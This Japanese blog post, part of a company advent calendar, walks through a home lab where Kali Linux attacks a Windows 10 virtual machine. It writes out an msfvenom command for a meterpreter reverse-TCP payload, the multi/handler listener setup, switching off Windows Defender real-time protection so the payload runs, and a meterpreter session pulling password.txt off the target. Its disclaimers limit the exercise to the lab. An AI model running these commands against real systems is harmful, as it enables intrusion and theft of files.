攻撃の手口を知り、セキュリティ意識の高い人間になりたい。
というのは建前で、ハッカーってカッコよくね?という動機でハッキングの練習をはじめました。
株式会社ピー・アール・オーのアドベントカレンダー4日目です。
何かを作る内容ではないですが、こんな自分が「あったらいいな!」ということでご容赦ください...
やること
VMでWindows実験環境を構築し、別の環境(Kali Linux)から攻撃、遠隔操作します。
長くなりましたが、画像多めです。
※ダメ、絶対。
本記事は不正アクセス等のサイバー攻撃を推奨するものではありません。
ここで紹介する内容を外部の環境に対して行わないでください。
準備する
まず、攻撃端末とターゲット端末をVMで構築します。
今回は、以下の環境で行いました。
- ホスト OS: macOS 10.15.2 Beta
- ゲスト OS
- 攻撃端末: Kali Linux 5.3.0-kali2-amd64
- ターゲット端末: Windows10
- 仮想化ソフト: VirtualBox 6.0.14 r133895 (Qt5.6.3)
攻撃環境の構築
Kali Linuxはペネトレーションテストに用いられるLinuxディストリビューションです。
Debianをベースに作られており、300以上のペネトレーションテスト用ツールがプリインストールされています。
今回はKali Linuxを使用しますが、各自使い慣れたOSに攻撃ツールをインストールしても問題ありません。
Kali Linux のインストール
以下のページからKali Linuxのイメージをダウンロードします。
https://www.kali.org/downloads/
今回は「Kali Linux 64-Bit」をダウンロードしました。
本記事では、詳細なインストール方法は割愛します。
実験用 Windows 環境の構築
Windows10のイメージをダウンロードする
以下のページから Windows10 の ISO ファイルをダウンロードしてきます。
https://www.microsoft.com/ja-jp/software-download/windows10ISO
VM 作成
VirtualBoxの新規から仮想マシンを作成します。
できました。
インストール&セットアップ
- Windows10の仮想マシンを起動します。
- 「起動ハードディスクの選択」画面でインストールしたISOファイルを選択します。
- 画面にしたがって初期設定を進めます。
ライセンス認証画面では「プロダクトキーがありません」をクリックします。
- 仮想ドライブからISOファイルを除去する
Windows10を一度終了し、VirtualBoxの設定 > ストレージを開く。
光学ドライブの右にあるディスクアイコンをクリックし、「仮想ドライブからディスクを除去」を選択します。
これで準備は完了です!
攻撃する(本編)
今回の攻撃実験は以下の環境で行います。
攻撃端末とターゲット端末は同じネットワーク内に存在させます。
端末 | IPアドレス |
---|---|
Kali Linux(攻撃端末) | 10.0.0.2 |
Windows10(ターゲット端末) | 10.0.0.102 |
攻撃端末からターゲット端末を制御できるようにする
Metasploit Framework で リバースシェルを作成し、ターゲット端末で実行します。
Metasploit Framework とは
オープンソースのペネトレーションテストツールであり、調査、侵入、攻撃、バックドアの設置・接続といったサーバー侵入の一連の流れを行うことができます。
Kali Linux にはデフォルトで用意されています。
※不正アクセスとなるため、許可されていない外部の環境に対して使用しないでください。
ペイロードの作成
ペイロードは、悪意のある動作をする実行コードのことです。
今回は、TCPリバースシェルのペイロードを作成します。
※リバースシェルはターゲット端末から攻撃端末側に対して接続するタイプのシェルで、ファイアウォールやルーターが、アウトバウンド(内部から外部への接続)に対し比較的制限がゆるく、通信がブロックされにくい点を狙われています。
以下のコマンドで、64bitのwindowsを対象とし、接続先を攻撃端末(10.0.0.2)に指定したTCPリバースシェルが作成されます。
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.2 -f exe -o /root/Desktop/evil.exe
外部から実行ファイルにアクセスできるようにする
作成したペイロードはなんらかの方法でターゲット端末に実行してもらう必要があります。
今回は、Apache を起動して、ターゲット端末のブラウザからアクセスできるようにします。
# mkdir /var/www/html/share
# cp /root/Desktop/evil.exe /var/www/html/share/
# service apache2 restart
ターゲット端末にペイロードをダウンロードさせる
windows10側のブラウザから http://10.0.0.2/share にアクセスします。
evil.exeが存在することが確認できましたので、これをダウンロードしてみます。
evil.exeをクリックして実行を選択すると、Windows Defender Antivirusにウイルスとして検知されたため、失敗しました。
右下の通知をクリックすると、トロイの木馬という聞いたことのある名前が現れて少しワクワクしています。
ここで「操作」から「許可する」を選択してもう一度保存しようとすると、表示が変わりました。
この状態で実行をクリックして保存します。
次に、Windows Defender セキュリティセンターで「リアルタイム保護」をオフにしてから再度ダウンロードします。
詳しい設定方法はこちら( https://121ware.com/qasearch/1007/app/servlet/relatedqa?QID=018503 )を参照してください。
フォルダを開くと、リアルタイム保護がオンの時に保存したもの(evil.exe)と、オフの時に保存したもの(evil(1).exe)の2つが存在していることが確認できます。
攻撃側でリバースシェルを待ち受ける
攻撃端末で次のコマンドを実行し、リバースシェルによる接続を待ち受けます。
# msfconsole <----入力
[-] ***Rting the Metasploit Framework console...\
[-] * WARNING: No database support: No database YAML file
[-] ***
.,,. .
.\$$$$$L..,,==aaccaacc%#s$b. d8, d8P
d8P #$$$$$$$$$$$$$$$$$$$$$$$$$$$b. `BP d888888p
d888888P '7$$$$\""""''^^`` .7$$$|D*"'``` ?88'
d8bd8b.d8p d8888b ?88' d888b8b _.os#$|8*"` d8P ?8b 88P
88P`?P'?P d8b_,dP 88P d8P' ?88 .oaS###S*"` d8P d8888b $whi?88b 88b
d88 d8 ?8 88b 88b 88b ,88b .osS$$$$*" ?88,.d88b, d88 d8P' ?88 88P `?8b
d88' d88b 8b`?8888P'`?8b`?88P'.aS$$$$Q*"` `?88' ?88 ?88 88b d88 d88
.a#$$$$$$"` 88b d8P 88b`?8888P'
,s$$$$$$$"` 888888P' 88n _.,,,ass;:
.a$$$$$$$P` d88P' .,.ass%#S$$$$$$$$$$$$$$'
.a$###$$$P` _.,,-aqsc#SS$$$$$$$$$$$$$$$$$$$$$$$$$$'
,a$$###$$P` _.,-ass#S$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$####SSSS'
.a$$$$$$$$$$SSS$$$$$$$$$$$$$$$$$$$$$$$$$$$$SS##==--""''^^/$$$$$$'
_______________________________________________________________ ,&$$$$$$'_____
ll&&$$$$'
.;;lll&&&&'
...;;lllll&'
......;;;llll;;;....
` ......;;;;... . .
=[ metasploit v5.0.62-dev ]
+ -- --=[ 1949 exploits - 1090 auxiliary - 334 post ]
+ -- --=[ 558 payloads - 45 encoders - 10 nops ]
+ -- --=[ 7 evasion ]
msf5 > use exploit/multi/handler <----入力
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp <----入力
payload => windows/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 10.0.0.2 <----入力
LHOST=>10.0.0.2
msf5 exploit(multi/handler) > exploit -j -z <----入力
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.0.0.2:4444 <----待ち受け開始
msf5 exploit(multi/handler) >
ターゲット端末でペイロードを実行する
Windows側でペイロードを実行します。
リアルタイム保護がオンの時にダウンロードしたものと、オフの時にダウンロードしたものをそれぞれ、リアルタイム保護がオンの状態とオフの状態のパターンで計4回実行します。
【ダウンロード時】 リアルタイム保護が有効 (evil.exe) |
【ダウンロード時】 リアルタイム保護が無効 (evil(1).exe) |
|
---|---|---|
【実行時】 リアルタイム保護が有効 |
攻撃失敗 | 攻撃失敗 |
【実行時】 リアルタイム保護が無効 |
攻撃失敗 | 攻撃成功 |
いずれも実行時に警告がでるが、詳細 > 実行で強制的に実行します。
成功時は攻撃側コンソールに以下のように表示されます。
msf5 exploit(multi/handler) > [*] Sending stage (206403 bytes) to 10.0.0.102
[*] Meterpreter session 2 opened (10.0.0.2:4444 -> 10.0.0.102:49975) at 2019-12-04 09:08:01 +0900
この状態でEnterを押したあと、sessionsコマンドでセッション一覧を表示します。
msf5 exploit(multi/handler) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
2 meterpreter x64/windows DESKTOP-4V3PT8F\arakawa @ DESKTOP-4V3PT8F 10.0.0.2:4444 -> 10.0.0.102:49975 (10.0.0.102)
攻撃環境(10.0.0.2)からターゲット環境(10.0.0.102)への接続が確認できました。
Meterpreterプロンプトで遠隔操作する
次に、実験用にpassword.txtファイルをWindows側に作成します。
攻撃側でセッションIDを指定してMeterpreterプロンプトを表示させます。
msf5 exploit(multi/handler) > sessions -i 2
[*] Starting interaction with 2...
meterpreter >
password.txtを探してダウンロードします。
meterpreter > pwd
C:\Users\arakawa\Downloads
meterpreter > ls
Listing: C:\Users\arakawa\Downloads
===================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100666/rw-rw-rw- 282 fil 2019-12-01 21:24:25 +0900 desktop.ini
100777/rwxrwxrwx 7168 fil 2019-12-04 08:21:32 +0900 evil (1).exe
100777/rwxrwxrwx 7168 fil 2019-12-04 09:07:02 +0900 evil.exe
100666/rw-rw-rw- 8 fil 2019-12-04 09:15:30 +0900 password.txt
meterpreter > download password.txt
[*] Downloading: password.txt -> password.txt
[*] Downloaded 8.00 B of 8.00 B (100.0%): password.txt -> password.txt
[*] download : password.txt -> password.txt
meterpreter >
別のターミナルを開き、ダウンロードできていることを確認します。
root@kali:~# ls -la password.txt
-rw-r--r-- 1 root root 8 Dec 4 09:15 password.txt
無事(?)ダウンロードできていました!!
まとめ
Kali Linuxを利用してWindows10へ攻撃、遠隔操作の実験を行いましたが、
思っていたよりも簡単にできてしまったのは意外でした。
Windows Defenderがしっかり仕事をしてくれているのを実感できたのも個人的には収穫かなーと思います。
この次のステップとして、バックドアを作成したり、ペイロードを偽装したり、まだまだ盛りだくさんなので、いずれ続きを書くかもしれません。